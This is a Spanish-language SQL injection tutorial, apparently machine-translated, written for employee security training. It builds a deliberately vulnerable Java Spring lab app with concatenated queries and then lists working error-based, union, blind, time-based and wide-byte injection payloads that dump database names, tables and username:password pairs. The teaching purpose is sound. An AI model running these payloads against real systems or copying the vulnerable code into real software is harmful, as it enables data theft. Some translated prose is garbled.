Inyección SQL + Explotación

Prefacio:

        Recientemente, la empresa necesita realizar alguna capacitación en seguridad para los empleados y necesita analizar los problemas de seguridad en el código, por lo que escribí este análisis de seguridad sobre la inyección SQL para analizar las causas y los métodos de utilización de la inyección SQL.

Causas de la inyección SQL:

       La inyección SQL significa que la aplicación web no juzga la legalidad de los datos ingresados ​​por el usuario ni los filtra de manera laxa. El atacante puede agregar declaraciones SQL adicionales al final de la declaración de consulta predefinida en la aplicación web

       En pocas palabras, la esencia de un ataque de inyección es ejecutar los datos ingresados ​​por el usuario como código. Por ejemplo, en la URL de un sitio web hay un parámetro ? Id = 1. Este parámetro se usa para llamar a cada página marcada y, cuando se lleva a la base de datos, se unirá en un comando: seleccione * de admin  donde usuario="admin" y contraseña= "123456"; si el atacante agrega una declaración de inyección en el backend como: seleccione * de admin  donde usuario="admin" y 1=1;#" y contraseña="123456" ; y la aplicación no filtra los parámetros, se ejecutará 1=1 y se comentará la siguiente contraseña, de modo que se pueda devolver un valor que siempre sea verdadero, evitando así la verificación de contraseña.

Donde existe la inyección SQL:

        En los parámetros GET , solicitudes POST , User-Agent y Cookies , siempre que los parámetros involucrados sean almacenados por la base de datos e impliquen operaciones de la base de datos, puede existir inyección SQL .

Clasificación de inyección SQL:

Clasificados por tipo de entrada:

inyección digital

       www.test.com/findid.do?id=1

       seleccione * del usuario donde id =1;

inyección de personaje

       www.test.com/finduser.do?user=limei

       seleccione * del usuario donde nombre de usuario ='limei';

Clasificados por método de adquisición:

Inyección basada en eco normal:

       Cuando el sitio web muestra la información consultada en la página, si hay una inyección SQL, los datos que el atacante desea consultar se pueden consultar construyendo datos maliciosos y mostrándolos en la página.

Inyección ciega basada en booleanos:

       Cuando el sitio web no devuelve la información consultada en la página, pero juzga la operación en la prueba del servicio, regresará solo cuando cumpla con las condiciones. El resultado de la presentación de la página es si los datos devueltos de diferentes parámetros son los mismos. Cuando hay inyección de SQL, escriba La herramienta adivina la información en función de los resultados de los datos devueltos.

Persianas basadas en el tiempo:

       Cuando el sitio web no juzga el retorno del parámetro, puede insertar la función de tiempo para juzgar si hay inyección de SQL y herramientas de escritura para adivinar la información devolviendo el tiempo.

Inyección basada en errores:

       Cuando el sitio web no cierra el mensaje de error, se puede construir la función de informe de error para generar el informe de error, pero la declaración maliciosa de la consulta normal se construye internamente y luego el resultado de la ejecución de la declaración de consulta maliciosa se obtiene en el mensaje de error.

Código de inyección SQL:

        Mientras las declaraciones SQL se empalmen sin utilizar marcadores de posición para operar con parámetros, pueden existir vulnerabilidades de inyección SQL.

Práctica de inyección manual de SQL:

Construcción del entorno:

Primero agregue pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>SqlInjectionDemo</artifactId>
    <version>1.0-SNAPSHOT</version>
    <packaging>war</packaging>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>4.0.1</version>
            <!-- 作用在打包时确保servlet不会打包进去 -->
            <scope>provided</scope>
        </dependency>

        <dependency>
            <groupId>javax.servlet.jsp</groupId>
            <artifactId>jsp-api</artifactId>
            <version>2.2.1-b03</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-webmvc</artifactId>
            <version>5.1.3.RELEASE</version>
        </dependency>

        <!--MySQL连接器-->
        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>5.0.5</version>
        </dependency>
        <!-- pool -->
        <dependency>
            <groupId>commons-pool</groupId>
            <artifactId>commons-pool</artifactId>
            <version>1.6</version>
        </dependency>
        <!-- dbcp依赖包 -->
        <dependency>
            <groupId>commons-dbcp</groupId>
            <artifactId>commons-dbcp</artifactId>
            <version>1.4</version>
        </dependency>
        <!--dbcp2依赖包-->
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-dbcp2</artifactId>
            <version>2.0.1</version>
        </dependency>
    </dependencies>

    <!-- 插件 -->
    <build>
        <plugins>
            <!-- 编码和编译和JDK版本 -->
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <!-- 根据自己电脑中的jdk版本选择maven的版本,如果不匹配可能报错 -->
                <version>3.8.1</version>
                <configuration>
                    <!-- 自己电脑中的jdk版本 -->
                    <source>1.8</source>
                    <target>1.8</target>
                </configuration>
            </plugin>
            <!--tomcat插件-->
            <plugin>
                <groupId>org.apache.tomcat.maven</groupId>
                <artifactId>tomcat7-maven-plugin</artifactId>
                <version>2.2</version>
                <configuration>
                    <path>/</path>
                    <!-- 可自定义访问端口 -->
                    <port>8811</port>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>

        Cree una aplicación web y coloque web.xml en WEB-INF:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <!-- Spring配置-->

    <!-- 1、让监听器知道spring的配置文件的位置-->
    <context-param>
        <param-name>contextConfigLocation</param-name>
        <!-- spring配置文件的文件名 -->
        <param-value>classpath:applicationContext.xml</param-value>
    </context-param>
    <!-- 2.创建监听器-->
    <listener>
        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>
    <!-- springmvc的 核心\前端\中央 控制器-->

    <!-- servlet的封装-->

    <servlet>
        <servlet-name>dispatcherServlet</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <!-- servlet读取springmvc的配置文件-->
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <!-- springmvc配置文件的文件名 -->
            <param-value>classpath:springmvc.xml</param-value>
        </init-param>
        <!-- 在容器创建servlet对象的优先级.数字越小越先创建 -->
        <load-on-startup>1</load-on-startup>
    </servlet>

    <servlet-mapping>
        <servlet-name>dispatcherServlet</servlet-name>
        <!-- 设置访问路径后必须加.do才能进行访问 -->
        <url-pattern>*.do</url-pattern>
    </servlet-mapping>

    <!-- 处理POST提交的中文乱码 -->
    <filter>
        <filter-name>encodingFilter</filter-name>
        <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
        <init-param>
            <param-name>encoding</param-name>
            <param-value>UTF-8</param-value>
        </init-param>
    </filter>
    <filter-mapping>
        <filter-name>encodingFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <!-- 404 页面不存在错误 -->
    <error-page>
        <error-code>404</error-code>
        <location>/error.jsp</location>
    </error-page>
    <!-- 500 服务器内部错误 -->
    <error-page>
        <error-code>500</error-code>
        <location>/error.jsp</location>
    </error-page>
    <!-- java.lang.Exception异常错误,依据这个标记可定义多个类似错误提示 -->
    <error-page>
        <exception-type>java.lang.Exception</exception-type>
        <location>/error.jsp</location>
    </error-page>

</web-app>

Cree applicationContext.xml en recursos:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
	http://www.springframework.org/schema/beans/spring-beans-4.1.xsd
		http://www.springframework.org/schema/context
		http://www.springframework.org/schema/context/spring-context-4.1.xsd">


    <!-- Spring配置文件:除了控制器之外的bean对象都在这被扫描 -->
    <context:component-scan base-package="org.example.dao"/>


</beans>

 Cree springmvc.xml en recursos

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xmlns:mvc="http://www.springframework.org/schema/mvc"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
        http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd
        http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd
        ">
    <!--
    扫描包【自动递归扫描当前包和它内部的所有子包】
    扫描四种注解@Controller、@Service、@Repository、@Component
    创建对象~~保存到spring容器中~~以类名称为键,以创建的对象为值
    -->
    <context:component-scan base-package="org.example.controller"/>
    <!--    启动mvc的注解-->
    <mvc:annotation-driven/>
    <!--    配置视图解析器的配置-->
    <!--    调用视图解析器的方法:InternalResourceViewResolver-->
    <bean id="internalResourceViewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        <!-- 前缀 默认访问路径是webapp根路径下的,如果webapp下还有其他文件夹就写:/webapp/文件夹名-->
        <property name="prefix" value="/"/>
        <!-- 后缀 如果是index.html文件,就写html -->
        <property name="suffix" value=".jsp"/>
    </bean>

    <!-- 配置文件上传相关的配置
    <bean id="multipartResolver" class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
        <property name="maxUploadSize">
            <value>104857600</value>## 最大100M
        </property>
        <property name="defaultEncoding">
            <value>UTF-8</value>
        </property>
    </bean>
    -->
</beans>

Cree las carpetas controlador, dao, pojo y servicio, y luego cree DatebaseConnection.java en dao

package org.example.dao;
import java.sql.Connection;
import java.sql.DriverManager;

public class DatebaseConnection {
    private static final String DRIVE="com.mysql.jdbc.Driver";//驱动
    private static final String DBURL="jdbc:mysql://localhost:3306/sqltest?useSSL=false&useUnicode=true&characterEncoding=ISO8859-1";//数据库地址
    private static final String DBUSER="root";//账号
    private static final String DBPASS="root";//密码
    private static Connection conn;
    public static Connection getConnection() throws Exception{
        Class.forName(DRIVE);//加载驱动
        conn = DriverManager.getConnection(DBURL,DBUSER,DBPASS);//连接数据库
        return conn;//返回
    }
    public void close() throws Exception{
        if(this.conn != null) {
            this.conn.close();
        }
    }
}

Cree User.java bajo pojo:

package org.example.pojo;

public class User {
    private int id;
    private String username;
    private String password;
    private String safe;

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getUsername() {
        return username;
    }
    public String getSafe(){ return safe; }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public void setSafe(String safe) {
        this.safe = safe;
    }
}

Cree sqlinjectionshow.java bajo el controlador:

package org.example.controller;


import org.example.pojo.User;
import org.example.service.Impl.sqlinjectionimpl;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import java.util.List;

@Controller
public class sqlinjectionshow {

    @RequestMapping("/findAll.do")
    public ModelAndView  findAll(HttpServletRequest request) throws Exception {
        sqlinjectionimpl sqlinjectio = new sqlinjectionimpl();
        List<User> list = sqlinjectio.findAll();
        ModelAndView mv = new ModelAndView("sql/user");
        mv.addObject("list",list);
        return mv;
    }

    @RequestMapping("/toadd.do")
    public String toadd(HttpServletRequest request) throws Exception {
        String id = request.getParameter("id");
        String safe = request.getParameter("safe");
        sqlinjectionimpl sqlinjectio = new sqlinjectionimpl();
        boolean back = sqlinjectio.checkuser(id, safe);
        if(back) {
            return "sql/user_add";
        }
        else {
            return "redirect:/findAll.do";
        }
    }
    @RequestMapping("/add.do")
    public String add(HttpServletRequest request) throws Exception {
        User user = new User();
        user.setUsername(request.getParameter("username"));
        user.setPassword(request.getParameter("password"));
        user.setSafe(request.getParameter("safe"));
        sqlinjectionimpl sqlinjectio = new sqlinjectionimpl();
        sqlinjectio.add(user);
        return "redirect:/findAll.do";
    }
    @RequestMapping("/deleteById.do")
    public String deleteById(HttpServletRequest request) throws Exception {
        String id = request.getParameter("id");
        String safe = request.getParameter("safe");
        sqlinjectionimpl sqlinjectio = new sqlinjectionimpl();
        sqlinjectio.deleteById(id, safe);
        return "redirect:/findAll.do";
    }
    @RequestMapping("/findById.do")
    public ModelAndView findById(HttpServletRequest request) throws Exception {
        String id = request.getParameter("id");
        String safe = request.getParameter("safe");
        sqlinjectionimpl sqlinjectio = new sqlinjectionimpl();
        User user = sqlinjectio.findById(id, safe);
        ModelAndView mv = new ModelAndView("sql/user_update");
        mv.addObject("user",user);
        return mv;
    }

    @RequestMapping("/updateUser.do")
    public String updateUser(HttpServletRequest request) throws Exception {
        User user = new User();
        user.setId(Integer.parseInt(request.getParameter("id")));
        user.setUsername(request.getParameter("username"));
        user.setPassword(request.getParameter("password"));
        user.setSafe(request.getParameter("safe"));
        sqlinjectionimpl sqlinjectio = new sqlinjectionimpl();
        sqlinjectio.updateUser(user);
        return "redirect:/findAll.do";
    }

    @RequestMapping("/checkgbk.do")
    public String chekgbk(HttpServletRequest request) throws Exception {
        String user = request.getParameter("username");
        String setSafe = request.getParameter("safe");
        sqlinjectionimpl sqlinjectio = new sqlinjectionimpl();
        sqlinjectio.chekgbk(user, setSafe);
        return "redirect:/findAll.do";
    }
}

Luego cree sqlinjection.java bajo servicio

package org.example.service;

import org.example.pojo.User;

import java.sql.SQLException;
import java.util.List;


public interface  sqlinjection {
    public List<User> findAll();//查询全部
    public boolean add(User user) throws SQLException;//添加
    public boolean deleteById(String id, String safe)throws  SQLException;//删除
    public User findById(String id, String safe)throws SQLException;//按照id查询
    public boolean updateUser(User user)throws SQLException;//修改
    public boolean checkuser(String id, String safe)throws SQLException;//修改
    public boolean chekgbk(String user, String safe)throws SQLException;//宽字节
}

Y crea sqlinjectionimpl.java:

package org.example.service.Impl;

import com.mysql.jdbc.StringUtils;
import org.example.dao.DatebaseConnection;
import org.example.pojo.User;
import org.example.service.sqlinjection;

import java.sql.*;
import java.util.ArrayList;
import java.util.List;

public class sqlinjectionimpl implements sqlinjection {
    //驱动
    private Connection conn = null;
    public sqlinjectionimpl() throws Exception{

        this.conn = DatebaseConnection.getConnection();
    }
    private PreparedStatement preparedStatement = null;
    @Override
    public List<User> findAll(){
        List<User> list = new ArrayList<User>();
        String sql = "select id,username,password from user";
        try {
            this.preparedStatement = this.conn.prepareStatement(sql);
            ResultSet resultSet = preparedStatement.executeQuery();
            while (resultSet.next()){
                User user = new User();
                user.setId(resultSet.getInt(1));
                user.setUsername(resultSet.getString(2));
                user.setPassword(resultSet.getString(3));
                list.add(user);
            }
        }catch (SQLException e){
            e.printStackTrace();
        }
        return list;
    }
    @Override
    public boolean add(User user) throws SQLException{
        if(user.getSafe().equals("no")){
            String sql = "INSERT INTO user(username,PASSWORD) VALUES('" + user.getUsername() + "','" + user.getPassword() + "')";
            this.preparedStatement = this.conn.prepareStatement(sql);
            if (this.preparedStatement.executeUpdate() > 0) {
                return true;
            }
        }
        else {
            String sql = "INSERT INTO user(username,PASSWORD) VALUES(?,?)";
            this.preparedStatement = this.conn.prepareStatement(sql);
            this.preparedStatement.setString(1, user.getUsername());
            this.preparedStatement.setString(2, user.getPassword());
            if (this.preparedStatement.executeUpdate() > 0) {
                return true;
            }
        }
        return false;
    }
    @Override
    public boolean deleteById(String id, String safe)throws  SQLException{
        String sql = "DELETE FROM USER WHERE id = ?";
        this.preparedStatement = this.conn.prepareStatement(sql);
        this.preparedStatement.setInt(1,Integer.parseInt(id));
        this.preparedStatement.executeUpdate();
        if (this.preparedStatement.executeUpdate()>0){
            return true;
        }
        return false;
    }
    @Override
    public boolean chekgbk(String username, String safe)throws SQLException {

        if(safe.equals("no")) {
            String sql = "SELECT id,username,PASSWORD FROM USER WHERE username = '" + username + "'";
            byte[] b = StringUtils.getBytes(sql, "ISO8859-1", null, true, null);
            System.out.print(new String(b));
            Statement stat = this.conn.createStatement();
            ResultSet resultSet = stat.executeQuery(sql);
            if (resultSet.next()) {
                return true;
            }
        }else {
            String sql = "SELECT id,username,PASSWORD FROM USER WHERE username = ?";
            this.preparedStatement = this.conn.prepareStatement(sql);
            this.preparedStatement.setString(1,username);
            ResultSet resultSet = this.preparedStatement.executeQuery();
            if (resultSet.next()) {
                return true;
            }
        }
        return false;
    }
    @Override
    public User findById(String id, String safe)throws SQLException {
        User user = null;
        if(safe.equals("no")){

            String sql = "SELECT id,username,PASSWORD FROM USER WHERE id = " + id;
//            this.preparedStatement = this.conn.prepareStatement(sql);
//            ResultSet resultSet = this.preparedStatement.executeQuery();

            Statement stat = this.conn.createStatement();
            ResultSet resultSet = stat.executeQuery(sql);
            if (resultSet.next()){
                user = new User();
                user.setId(resultSet.getInt(1));
                user.setUsername(resultSet.getString(2));
                user.setPassword(resultSet.getString(3));
            }
        }
        else {
            String sql = "SELECT id,username,PASSWORD FROM USER WHERE id = ?";
            this.preparedStatement = this.conn.prepareStatement(sql);
            this.preparedStatement.setInt(1,Integer.parseInt(id));
            ResultSet resultSet = this.preparedStatement.executeQuery();

            if (resultSet.next()){
                user = new User();
                user.setId(resultSet.getInt(1));
                user.setUsername(resultSet.getString(2));
                user.setPassword(resultSet.getString(3));
            }
        }
        return user;
    }

    @Override
    public boolean updateUser(User user)throws SQLException{
        if(user.getSafe().equals("no")){
            String sql = "update user set username = '" + user.getUsername() + "',password = '" + user.getPassword() + "' where id = " +user.getId();
            this.preparedStatement = this.conn.prepareStatement(sql);
            if (this.preparedStatement.executeUpdate() > 0) {
                return true;
            }
        }
        else {
            String sql = "update user set username = ? ,password = ? where id = ?";
            this.preparedStatement = this.conn.prepareStatement(sql);
            this.preparedStatement.setInt(3,user.getId());
            this.preparedStatement.setString(1,user.getUsername());
            this.preparedStatement.setString(2,user.getPassword());
            if (this.preparedStatement.executeUpdate()>0){
                return true;
            }
        }
        return false;
    }

    public boolean checkuser(String id, String safe)throws SQLException {
        User user = null;
        if(safe.equals("no")){
            user = findById(id,"no");
            String sql = "select username from admin where username='" + user.getUsername() +"' and password='" + user.getPassword() + "'";
            this.preparedStatement = this.conn.prepareStatement(sql);
            ResultSet resultSet =this.preparedStatement.executeQuery();
            if (resultSet.next()){
                if(resultSet.getString(1).equals("admin")){
                    return true;
                }
            }
        }
        else {
            String sql = "select username from admin where username = ? and password = ?";
            this.preparedStatement = this.conn.prepareStatement(sql);
            this.preparedStatement.setString(1,user.getUsername());
            this.preparedStatement.setString(2,user.getPassword());
            ResultSet resultSet =this.preparedStatement.executeQuery();
            if (resultSet.next()){
                if(resultSet.getString(1).equals("admin")){
                    return true;
                }
            }
        }
        return false;
    }
}

Luego cree una carpeta SQL en la aplicación web y cree user.jsp, user_add.jsp y user_update.jsp, primero escriba en user.jsp:

<%@ page import="org.example.pojo.User" %>
<%@ page import="java.util.List" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
    <script type="text/javascript">
        function add(id) {//添加方法
            window.location.href="/toadd.do?id="+id+"&safe=no"
        }
        function del(id) {//添加方法
            window.location.href="/deleteById.do?id="+id+"&safe=no";
        }
        function upd(id) {//修改方法
            window.location.href="/findById.do?id="+id+"&safe=no";
        }
    </script>
</head>
<%request.setCharacterEncoding("utf-8"); %>
<body>
<%
    List<User> list = (List<User>) request.getAttribute("list");
%>
<div id="main">
    <h1><p align="center">后台信息表</p></h1>
    <table border="1" width="100%">
        <tr>
            <th colspan="4">
                添加账号需要admin账号权限
            </th>
        </tr>
        <tr>
            <th>id</th>
            <th>用户名</th>
            <th>密码</th>
            <th>操作</th>
        </tr>
        <%
            for (int i = 0; i < list.size();i++){
        %>
        <tr>
            <th><%=list.get(i).getId()%></th>
            <th><%=list.get(i).getUsername()%></th>
            <th><%=list.get(i).getPassword()%></th>
            <th width="5px">
                <button type="button" onclick="upd(<%=list.get(i).getId()%>)" id="upd">修改</button>
                <button type="button" onclick="add(<%=list.get(i).getId()%>)" id="add">添加</button>
                <button type="button" onclick="del(<%=list.get(i).getId()%>)" id="del">删除</button>
            </th>
        </tr>
        <%
            }
        %>
    </table>
</div>
</body>
</html>

        Luego escribe en user_add.jsp:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
  <title>add</title>
</head>
<body>
<center>
  <form action="/add.do" method="post">
    <%--        编号:<input type="text" name="id"/><br/>--%>
    用户名:<input type="text" name="username"/><br/>
    密码:<input type="text" name="password"/><br/>
    预编译:<input type="text" name="safe" value="no"/><br/>
    <br/>
    <input type="submit" value="添加"/>
    <input type="reset" value="重置"/>
  </form>
</center>
</body>
</html>

        Luego escriba en user_update.jsp:

<%@ page import="org.example.pojo.User" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
  <title>Title</title>
</head>
<%request.setCharacterEncoding("utf-8"); %>
<body>
<%
  User user = (User) request.getAttribute("user");
%>
<center>
  <p>修改</p>
  <form action="/updateUser.do" method="post">
    <input hidden type="text" name="id" value="<%=user.getId()%>"/><br/>
    用户名:<input type="text" name="username" value="<%=user.getUsername()%>"/><br/>
    密码:<input type="text" name="password" value="<%=user.getPassword()%>"/><br/>
    预编译:<input type="text" name="safe" value="no"/><br/>
    <br/>
    <input type="submit" value="修改"/>
    <input type="reset" value="重置"/>
  </form>
</center>
</body>
</html>

Finalmente agregue error.jsp en la aplicación web:

<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.*" %>
<html>
<header>
  <title>error page</title>
      <body>
          <pre>
              error
          </pre>
      </body>
</header>

Entre ellos, cuando el parámetro seguro = no, no se usa la precompilación y cuando es sí se usa la precompilación.

Inyección de errores:

  En primer lugar, probamos la inyección de error, aquí está la función de modificación: http://localhost:8811/findById.do?id=3&safe=no

       En el código, primero comenta la configuración del salto de error en web.xml, y luego cuando agregamos 'o' después del id, podemos ver el error:

       A partir del mensaje de error com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException, podemos saber que hay un error en la ejecución de nuestra declaración SQL, lo que demuestra que puede haber una inyección de SQL.

 En este momento, reemplazamos la declaración de ejecución con http://localhost:8811/findById.do?id=3-2&safe=no, y podemos ver los datos en el rango exitoso id=1, lo que demuestra que 3-2 se ejecuta como un comando:

        Entonces se puede concluir que existe inyección sql, a continuación realizaremos la prueba de inyección de acuerdo con la inyección de error:

       Primero, elegimos la función de informe de errores. Aquí usamos extractvalue para construir la inyección de informes de errores xpath:

       El parámetro Id está configurado en: 1 y (extractvalue(1,concat(0x7e,(select user()),0x7e)));, puede ver que select user() se ejecuta con éxito y la información obtenida es root@ servidor local :

        A continuación, utilice select Database() para obtener información de la base de datos y obtenga la base de datos actual como sqltest :

         Continúe para obtener el nombre de la tabla sqltest, use select group_concat(table_name) de information_schema.tables donde table_schema='sqltest' y use el empalme group_concat para obtener los nombres de las tablas utilizadas: administrador y usuario:

  El siguiente paso es obtener el nombre del campo, use select group_concat(column_name) de information_schema.columns donde table_schema='sqltest' y table_name='user'

        Puedes obtener qué campos se utilizan, aquí puedes ver que se obtienen los campos id, nombre de usuario y contraseña:

        Lo último es obtener la información de los datos, use el comando select concat(username,":",password) from user limit 0,1

        Se puede obtener el primer dato y todos los datos se pueden obtener con el límite:

Inyectar declaración SQL:

id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

id=1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)))

id=1 and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqltest'),0x7e)))

id=1 and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='sqltest' and table_name='user'),0x7e)))

id=1 and (extractvalue(1,concat(0x7e,(select concat(username,":",password) from user limit 0,1),0x7e)))

 Mostrar inyección:

        Se puede observar el acceso normal, mostrando el nombre de usuario y contraseña:

        Debido a que los datos se leen a través de la base de datos, en el caso de la inyección SQL, la información se puede obtener a través de una consulta conjunta de unión. Primero, determine el número de campos de consulta seleccionados y use el orden por para determinar cuándo es http:/ /localhost:8811/findById.do ?id=3%20order%20by%204&safe=no informa un error, lo que demuestra que se muestran tres campos:

         3, puede ver que es normal y la declaración de prueba es seleccionar 1,2,3 de...

   ¿Dónde se mostrará la siguiente prueba? Utilice select 1,222,333, la URL completa es: http//localhost:8811/findById.do?id=3%20and%201=2%20union%20select%201,222,333&safe=no, puede ver el usuario El nombre y la contraseña se pueden utilizar como prueba de eco:

         La siguiente prueba obtiene la base de datos y la versión de la base de datos, utilizando la consulta como id=1 y 1=2 union select 1,database(),version(), puede ver que la base de datos es sqltest y la versión es 10.4:

        Obtenga la tabla de acuerdo con la base de datos obtenida, use la consulta id = 1 y 1 = 2 union select 1, group_concat (table_name), 3 de information_schema.tables donde table_schema = 'sqltest', puede ver que las tablas obtenidas con éxito son ambas. Bases de datos de administrador y usuario:

        Luego, de acuerdo con la tabla obtenida, use la consulta id=1 y 1=2, seleccione 1,group_concat(column_name),3 de information_schema.columns donde table_schema='sqltest' y table_name='user' para obtener el campo, y con éxito obtenga el campo como id, nombre de usuario, contraseña:

        Finalmente, lea el contenido, use la declaración id=1 y 1=2 union select 1, concat(username,":",password), 3 from user limit 0,1, lea exitosamente el nombre de usuario y la contraseña:

Inyectar declaración SQL:

id=3 order by 4

id=3 select 1,2,3

id=3 and 1=2 union select 1,222,333

id=1 and 1=2 union select 1,database(),version()

id=1 and 1=2 union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='sqltest'

id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='sqltest' and table_name='user'

id=1 and 1=2 union select 1,concat(username,":",password),3 from user limit 0,1

 Nota ciega:

        Cuando hay una consulta en la web, pero el resultado de la consulta se usa como juicio para seleccionar la salida, en lugar de generar el contenido de la base de datos consultada, cómo inyectarlo. Aquí hay dos soluciones: una es usar la inyección ciega booleana cuando Hay una diferencia entre la corrección y la incorrección del resultado devuelto. Si no hay ninguna diferencia usando persianas de tiempo:

Ciega booleana:

Cuando usamos id=1 y 1=1, el resultado se puede devolver normalmente:

Pero cuando usamos id=1 y 1=2, no podemos devolver resultados normales, por lo que demuestra que existe:

       Debido a que no se muestra, solo podemos obtener datos adivinando. Primero, debemos probar la longitud del nombre de la base de datos, usar la declaración id = 1 y longitud (base de datos ())> 6, y regresar normalmente en este momento:

 Luego use id = 1 y longitud (base de datos ())> 7, y encuentre un error, lo que demuestra que la longitud del nombre de la base de datos es 7:

       Después de conocer la longitud, puede usar id=1 y ascii(mid(database(),1,1))>114 para determinar cuál es el primer carácter. Según el resultado, sabe que el primer carácter es 115 en decimal , y el hexadecimal correspondiente El sistema es 73 y el carácter correspondiente es s:

 

        Luego pruebe el segundo dígito id = 1 y ascii (mid (base de datos (), 2,2))> 113, y obtenga el segundo dígito como 71, es decir, q. De esta manera, la base de datos se puede probar como sqltest: 

       Luego obtenga el nombre de la tabla, use la declaración id=1 y length((select table_name from information_schema.tables donde table_schema='sqltest' limit 0,1))>5, juzgue la longitud de la primera tabla e informe un error cuando llega a 5, Prueba de longitud 5:

   Luego juzgue el nombre de la tabla, use la declaración id=1 y ascii(mid((select table_name from information_schema.tables donde table_schema='sqltest' limit 0,1),1,1))>97, 97 informa un error, que demuestra ser el personaje a. Después de completar todas las pruebas, es administrador.

Luego, de manera similar a lo anterior, puede obtener la información de datos completa probando primero la longitud y luego juzgando uno por uno.

Declaración de inyección:

id=1 and 1=1
id=1 and 1=2

id=1 and length(database())>6
id=1 and length(database())>7  报错为7位

id=1 and ascii(mid(database(),1,1))>114
id=1 and ascii(mid(database(),1,1))>115   报错为115 字符为s
id=1 and ascii(mid(database(),2,2))>113   报错为113 第二位字符为q

id=1 and length((select table_name from information_schema.tables where table_schema='sqltest' limit 0,1))>5
id=1 and ascii(mid((select table_name from information_schema.tables where table_schema='sqltest' limit 0,1),1,1))>97
。。。。。。

 Persianas del tiempo:

        Cuando no hay información de devolución, puede probar si hay inyección de tiempo, use la declaración id=1 y 1=1 y sleep(2)

       Pero cuando usamos id = 1 y 1 = 2 y sleep (1), el resultado se puede devolver rápidamente sin esperar, lo que demuestra que existe una inyección de tiempo. La inyección basada en el tiempo es similar a la inyección booleana, solo agregue sleep (2). ) al final puede

     Similar: id = 1 y longitud (base de datos ())> 6 y dormir (1) y id = 1 y longitud (base de datos ())> 7 y dormir (1) para juzgar si la ejecución es exitosa según el tiempo, similar a booleano, aquí no explicaré demasiado.

Inyección de caracteres amplios:

        La inyección de bytes anchos se debe a la codificación de caracteres. Cuando nuestra base de datos está codificada como bytes anchos (GBK), dos caracteres se consideran caracteres chinos y cuando ingresamos comillas simples, cuando usamos bytes anchos, si En el código , la comilla simple se escapa a \', donde el hexadecimal de \ es %5c, cuando agregamos %df antes de los datos de entrada, %df%5c es un byte ancho, es decir, 'afortunado', así que cierre la comilla simple comillas (escape) para realizar un ataque de inyección, como se explica en la siguiente figura:

Cuando nuestra base de datos está configurada con codificación gbk, muestra variables como "%character%";:

       En este momento, intentemos ejecutar sin precompilación.

       /checkgbk.do?username=lilei%5c'&safe=no (%5c es \) en este momento' se comenta. La ejecución es correcta, porque la sentencia sql queda:

       SELECCIONE ID, nombre de usuario, CONTRASEÑA DEL USUARIO DONDE nombre de usuario ='lilei\'';

       Pero cuando usamos /checkgbk.do?username=lilei%df%5c'&safe=no, se informará un error en este momento, porque la declaración queda de la siguiente manera:

       SELECCIONE ID, nombre de usuario, CONTRASEÑA DEL USUARIO DONDE nombre de usuario ='lilei%df\''; Entre ellos, %df\ se analizará como caracteres chinos debido a problemas de codificación, y aparecerán tres ', lo que provocará un error:

